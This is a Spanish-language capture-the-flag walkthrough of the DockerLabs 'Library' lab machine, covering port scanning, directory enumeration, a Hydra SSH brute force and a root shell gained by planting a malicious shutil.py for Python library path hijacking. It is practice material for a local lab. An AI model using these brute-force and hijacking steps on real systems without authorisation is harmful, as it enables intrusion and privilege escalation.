> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/library.md).
# Library
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Library** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para extraer los archivos:
```bash
7z x library.zip
```
#### **1.3. Ejecución**
Desplegamos el entorno con el siguiente comando:
```bash
bash auto_deploy.sh library.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` para confirmar que la máquina está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Realizamos un escaneo más exhaustivo de los puertos abiertos:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58.
#### **2.4. Análisis del servicio web**
Accedemos a `http://172.17.0.2/` y comprobamos que se muestra la página por defecto del servicio de Apache.
#### **2.5. Enumeración de directorios y archivos**
Buscamos directorios y archivos ocultos con `gobuster`:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```
**Resultado relevante:**
* `index.php`: Contiene una posible contraseña (`JIFGHDS87GYDFIGD`) para conectarnos por SSH.
### **3. Explotación**
#### **3.1. Fuerza bruta con Hydra**
Ejecutamos un ataque de fuerza bruta para encontrar el usuario asociado a la contraseña que hemos descubierto anteriormente:
```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD 172.17.0.2 ssh -t 4
```
**Credenciales encontradas:**
* **Usuario:** `carlos`.
* **Contraseña:** `JIFGHDS87GYDFIGD`.
#### **3.2. Acceso por SSH**
Accedemos al sistema por SSH con las credenciales obtenidas:
```bash
ssh carlos@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Análisis de permisos sudo**
Verificamos los comandos que el usuario `carlos` puede ejecutar con `sudo`.
**Resultado:** El usuario `carlos` puede ejecutar el script `/opt/script.py` como `root` sin proporcionar contraseña:
```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```
#### **4.2. Library Path Hijacking**
El script utiliza la librería `shutil`.
Aprovechamos esto para realizar un **Library Path Hijacking**.
#### **4.3. Creación de una librería maliciosa**
En el directorio `/opt/`, creamos un archivo `shutil.py` con el siguiente contenido:
```python
import os
os.system("bash")
```
#### **4.4. Ejecución del script como root**
Ejecutamos el script con privilegios elevados:
```bash
sudo /usr/bin/python3 /opt/script.py
```
**Resultado:** Obtenemos una shell como `root`.
